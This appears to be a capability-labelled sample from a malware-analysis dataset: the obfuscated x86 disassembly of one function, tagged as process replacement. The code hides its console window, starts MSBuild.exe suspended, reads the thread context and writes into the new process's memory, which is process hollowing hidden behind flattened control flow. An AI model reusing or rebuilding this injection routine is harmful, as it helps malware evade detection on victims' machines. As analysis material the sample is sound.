Function at 0x100033c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x184
mov eax, dword [0x10068800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18c], 0x79ea52f
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x190], eax
sub eax, 0x811da917
je 0x10005933
jmp 0x100033fc
mov eax, dword [ebp - 0x190]
sub eax, 0x848a7d0e
je 0x1000707f
jmp 0x10003412
mov eax, dword [ebp - 0x190]
sub eax, 0x84a44eaa
je 0x1000aa15
jmp 0x10003428
mov eax, dword [ebp - 0x190]
sub eax, 0x8504c891
je 0x10007c44
jmp 0x1000343e
mov eax, dword [ebp - 0x190]
sub eax, 0x855a2a7a
je 0x10006126
jmp 0x10003454
mov eax, dword [ebp - 0x190]
sub eax, 0x86db7716
je 0x10005905
jmp 0x1000346a
mov eax, dword [ebp - 0x190]
sub eax, 0x883b4b57
je 0x10009f9d
jmp 0x10003480
mov eax, dword [ebp - 0x190]
sub eax, 0x883db6ff
je 0x1000a86d
jmp 0x10003496
mov eax, dword [ebp - 0x190]
sub eax, 0x887ca684
je 0x1000a3bd
jmp 0x100034ac
mov eax, dword [ebp - 0x190]
sub eax, 0x88ba7ae1
je 0x10006a04
jmp 0x100034c2
mov eax, dword [ebp - 0x190]
sub eax, 0x8931324a
je 0x10006d18
jmp 0x100034d8
mov eax, dword [ebp - 0x190]
sub eax, 0x894176bb
je 0x10007a9b
jmp 0x100034ee
mov eax, dword [ebp - 0x190]
sub eax, 0x8a12d594
je 0x10008570
jmp 0x10003504
mov eax, dword [ebp - 0x190]
sub eax, 0x8a57b227
je 0x1000a95c
jmp 0x1000351a
mov eax, dword [ebp - 0x190]
sub eax, 0x8b4b3047
je 0x1000a315
jmp 0x10003530
mov eax, dword [ebp - 0x190]
sub eax, 0x8c0f2a6a
je 0x1000a8d9
jmp 0x10003546
mov eax, dword [ebp - 0x190]
sub eax, 0x8d7f7b1f
je 0x10009451
jmp 0x1000355c
mov eax, dword [ebp - 0x190]
sub eax, 0x8fb6289c
je 0x10005ab8
jmp 0x10003572
mov eax, dword [ebp - 0x190]
sub eax, 0x9025736b
je 0x100072cb
jmp 0x10003588
mov eax, dword [ebp - 0x190]
sub eax, 0x905941de
je 0x1000acaa
jmp 0x1000359e
mov eax, dword [ebp - 0x190]
sub eax, 0x90b171a1
je 0x1000662b
jmp 0x100035b4
mov eax, dword [ebp - 0x190]
sub eax, 0x9128c4af
je 0x100087d0
jmp 0x100035ca
mov eax, dword [ebp - 0x190]
sub eax, 0x92508a39
je 0x10008a86
jmp 0x100035e0
mov eax, dword [ebp - 0x190]
sub eax, 0x92f62288
je 0x10006437
jmp 0x100035f6
mov eax, dword [ebp - 0x190]
sub eax, 0x9319007e
je 0x10006cf9
jmp 0x1000360c
mov eax, dword [ebp - 0x190]
sub eax, 0x942faec5
je 0x1000a377
jmp 0x10003622
mov eax, dword [ebp - 0x190]
sub eax, 0x950b6570
je 0x100083f3
jmp 0x10003638
mov eax, dword [ebp - 0x190]
sub eax, 0x95ce43c3
je 0x1000640b
jmp 0x1000364e
mov eax, dword [ebp - 0x190]
sub eax, 0x95dec07d
je 0x10009d30
jmp 0x10003664
mov eax, dword [ebp - 0x190]
sub eax, 0x95f894da
je 0x1000ac3e
jmp 0x1000367a
mov eax, dword [ebp - 0x190]
sub eax, 0x964e8599
je 0x10006352
jmp 0x10003690
mov eax, dword [ebp - 0x190]
sub eax, 0x9651e04d
je 0x10009bdb
jmp 0x100036a6
mov eax, dword [ebp - 0x190]
sub eax, 0x96e89019
je 0x10008107
jmp 0x100036bc
mov eax, dword [ebp - 0x190]
sub eax, 0x98bad945
je 0x100057c0
jmp 0x100036d2
mov eax, dword [ebp - 0x190]
sub eax, 0x98e9b26d
je 0x10006047
jmp 0x100036e8
mov eax, dword [ebp - 0x190]
sub eax, 0x9aa3f424
je 0x1000661c
jmp 0x100036fe
mov eax, dword [ebp - 0x190]
sub eax, 0x9bd91cea
je 0x100080d9
jmp 0x10003714
mov eax, dword [ebp - 0x190]
sub eax, 0x9c52d655
je 0x10005914
jmp 0x1000372a
mov eax, dword [ebp - 0x190]
sub eax, 0x9c93e74b
je 0x100096f1
jmp 0x10003740
mov eax, dword [ebp - 0x190]
sub eax, 0x9d736af2
je 0x10008821
jmp 0x10003756
mov eax, dword [ebp - 0x190]
sub eax, 0x9ddc1830
je 0x10005f71
jmp 0x1000376c
mov eax, dword [ebp - 0x190]
sub eax, 0x9e0742e6
je 0x10008f74
jmp 0x10003782
mov eax, dword [ebp - 0x190]
sub eax, 0x9e3e40fb
je 0x10009b3d
jmp 0x10003798
mov eax, dword [ebp - 0x190]
sub eax, 0x9e5a1d01
je 0x1000a9c7
jmp 0x100037ae
mov eax, dword [ebp - 0x190]
sub eax, 0x9e65944f
je 0x10005d5a
jmp 0x100037c4
mov eax, dword [ebp - 0x190]
sub eax, 0x9e85f3c0
je 0x10006582
jmp 0x100037da
mov eax, dword [ebp - 0x190]
sub eax, 0x9eb8a5a5
je 0x10006bd0
jmp 0x100037f0
mov eax, dword [ebp - 0x190]
sub eax, 0x9f6bc472
je 0x100083aa
jmp 0x10003806
mov eax, dword [ebp - 0x190]
sub eax, 0xa07638f6
je 0x100091d3
jmp 0x1000381c
mov eax, dword [ebp - 0x190]
sub eax, 0xa0c37fe4
je 0x10005ebd
jmp 0x10003832
mov eax, dword [ebp - 0x190]
sub eax, 0xa1132446
je 0x10005cf9
jmp 0x10003848
mov eax, dword [ebp - 0x190]
sub eax, 0xa1133166
je 0x1000ac7c
jmp 0x1000385e
mov eax, dword [ebp - 0x190]
sub eax, 0xa1a223e4
je 0x10007452
jmp 0x10003874
mov eax, dword [ebp - 0x190]
sub eax, 0xa2246211
je 0x10009a2d
jmp 0x1000388a
mov eax, dword [ebp - 0x190]
sub eax, 0xa2277f89
je 0x10009bea
jmp 0x100038a0
mov eax, dword [ebp - 0x190]
sub eax, 0xa28523d5
je 0x10006527
jmp 0x100038b6
mov eax, dword [ebp - 0x190]
sub eax, 0xa2989465
je 0x10007192
jmp 0x100038cc
mov eax, dword [ebp - 0x190]
sub eax, 0xa2ea74ee
je 0x10007319
jmp 0x100038e2
mov eax, dword [ebp - 0x190]
sub eax, 0xa316b7c6
je 0x1000915c
jmp 0x100038f8
mov eax, dword [ebp - 0x190]
sub eax, 0xa33ecb14
je 0x100067e5
jmp 0x1000390e
mov eax, dword [ebp - 0x190]
sub eax, 0xa65c6307
je 0x1000787d
jmp 0x10003924
mov eax, dword [ebp - 0x190]
sub eax, 0xa692cfa8
je 0x1000aa24
jmp 0x1000393a
mov eax, dword [ebp - 0x190]
sub eax, 0xa6a6dfe2
je 0x10007732
jmp 0x10003950
mov eax, dword [ebp - 0x190]
sub eax, 0xa731c97a
je 0x100098a5
jmp 0x10003966
mov eax, dword [ebp - 0x190]
sub eax, 0xa7e97903
je 0x10007b66
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100181f0]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8c0f2a6a
mov ecx, 0x6c3934f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x9c52d655
jmp 0x1000b116
movss xmm0, dword [0x100183a4]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x18c], 0x811da917
jmp 0x1000b116
mov dl, 1
mov eax, 0x5203832
mov ecx, 0x649a8c47
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0xc8cefc8
sub edx, 1
add edx, 0xc8cefc8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeca91327
mov ecx, 0xf7df7ced
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
movss xmm0, dword [0x100181ec]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xce8d9594
sub edx, 1
sub edx, 0xce8d9594
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6b729e6
mov ecx, 0x9e65944f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x5c4819ac
jmp 0x1000b116
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0x130], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x939f600c
sub edx, 1
add edx, 0x939f600c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9e5a1d01
mov ecx, 0x47d3b13b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
movss xmm0, dword [0x10018380]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x18c], 0xb09f7634
jmp 0x1000b116
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3f68e6f0
mov ecx, 0xc40d67e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x3408e5c
jmp 0x1000b116
mov dword [ebp - 0x18c], 0xc265cf15
jmp 0x1000b116
mov dword [ebp - 0x18c], 0xf4749001
jmp 0x1000b116
movss xmm0, dword [0x1001835c]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x18c], 0x5d5b7f81
jmp 0x1000b116
mov dword [ebp - 0x18c], 0xd0c21d1f
jmp 0x1000b116
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb41e1a6d
mov ecx, 0x470cc6bd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x90b171a1
jmp 0x1000b116
movss xmm0, dword [0x1001834c]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x10018348]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x18c], 0x3d6fa384
jmp 0x1000b116
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2889308
mov ecx, 0xfcf86dec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
movss xmm0, dword [0x10018330]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x18c], 0xb524c7f1
jmp 0x1000b116
mov dl, 1
mov eax, 0xc19aec26
mov ecx, 0x1253e109
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
movss xmm0, dword [0x10018320]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x18c], 0x8931324a
jmp 0x1000b116
movss xmm0, dword [0x1001831c]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x18c], 0x18b5c2fe
jmp 0x1000b116
movss xmm0, dword [0x100182f8]
movss dword [ebp - 0x13c], xmm0
mov dword [ebp - 0x18c], 0x15300338
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x36418e06
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x279b49cd
jmp 0x1000b116
mov dl, 1
mov eax, 0xe2ab6b4d
mov ecx, 0x2f669ac9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov dl, 1
mov eax, 0xc8215251
mov ecx, 0xc1394bf1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
sub edx, 0x337cf1d5
sub edx, 1
add edx, 0x337cf1d5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5a58ccf2
mov ecx, 0x6908019d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
movss xmm0, dword [0x100182a8]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x100182a4]
movss dword [ebp - 0x144], xmm0
movss xmm0, dword [0x100182a0]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x18c], 0x70ef67c7
jmp 0x1000b116
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x6cc1b497
sub edx, 1
sub edx, 0x6cc1b497
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2cc2dc8d
mov ecx, 0x16326dc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
movss xmm0, dword [0x10018274]
movss dword [ebp - 0x144], xmm0
mov dword [ebp - 0x18c], 0x7aa7321b
jmp 0x1000b116
mov dword [ebp - 0x18c], 0xcde40f18
jmp 0x1000b116
mov dl, 1
mov eax, 0x7b44788a
mov ecx, 0xc15e3321
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2a2f3de0
mov ecx, 0x950b6570
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov dl, 1
mov eax, 0x7fbc7172
mov ecx, 0xe76e2da9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
movss xmm0, dword [0x10018238]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x18c], 0xf0dd2437
jmp 0x1000b116
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x6f937924
sub edx, 1
sub edx, 0x6f937924
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc00a93cb
mov ecx, 0x9d736af2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x25ad1c0b
sub edx, 1
sub edx, 0x25ad1c0b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc00a93cb
mov ecx, 0x35b525e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
movss xmm0, dword [0x10018200]
movss dword [ebp - 0x14c], xmm0
mov dword [ebp - 0x18c], 0xec6a8b83
jmp 0x1000b116
mov al, byte [ebp - 0xf2]
and al, 1
mov byte [ebp - 0x15d], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x164], eax
mov al, byte [ebp - 0x15d]
and al, 1
mov byte [ebp - 0xf1], al
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe5c8ab12
mov ecx, 0x55b9e90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov edx, dword [ebp - 0xf0]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
mov eax, 0x1613d3ab
mov ecx, 0xa07638f6
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x158]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xe9], al
mov dword [ebp - 0x18c], 0x70fdb58f
jmp 0x1000b116
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x154]
add eax, 0x3c
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x18c], 0xd4020c89
jmp 0x1000b116
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x437b2a37
sub edx, 1
sub edx, 0x437b2a37
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbef9f592
mov ecx, 0xd795e341
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov eax, dword [ebp - 0x118]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xbc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0xc0]
mov eax, 0xec3e5f50
mov ecx, 0xdca31c76
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x18c], 0xa7ebf8ea
jmp 0x1000b116
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc5701e48
mov ecx, 0xf3ba7c70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov dword [ebp - 0x18c], 0xa2277f89
jmp 0x1000b116
mov edx, dword [ebp - 0xac]
mov eax, 0xc51b5837
mov ecx, 0x6dd37577
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x4c8a2e15
jmp 0x1000b116
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0xa517f1
sub edx, 1
add edx, 0xa517f1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfcaf9b73
mov ecx, 0xfeb761ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov dl, byte [ebp - 0x85]
mov eax, 0x887ca684
mov ecx, 0x39d149e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov eax, dword [ebp - 0x80]
mov edx, dword [eax]
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x84]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18c], 0x887ca684
jmp 0x1000b116
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7fa6115a
mov ecx, 0xb2dbc174
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x18c], eax
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x34ec90be
jmp 0x1000b116
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100181f0]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x18c], 0x98bad945
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x402e9b1a
jmp 0x1000b116
movss xmm0, dword [0x100181e4]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x18c], 0xa0c37fe4
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x92781ba
jmp 0x1000b116
mov dword [ebp - 0x18c], 0x14114ec
jmp 0x1000b116
movss xmm0, dword [0x100181a4]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x18c], 0x99372e8
jmp 0x1000b116
mov dword [ebp - 0x18c], 0xde9d8577
jmp 0x1000b116
movss xmm0, dword [0x10018198]
movss dword [ebp - 0x148], xmm0
mov dword [ebp - 0x18c], 0x10b94dd9
jmp 0x1000b116
jmp 0x100033e0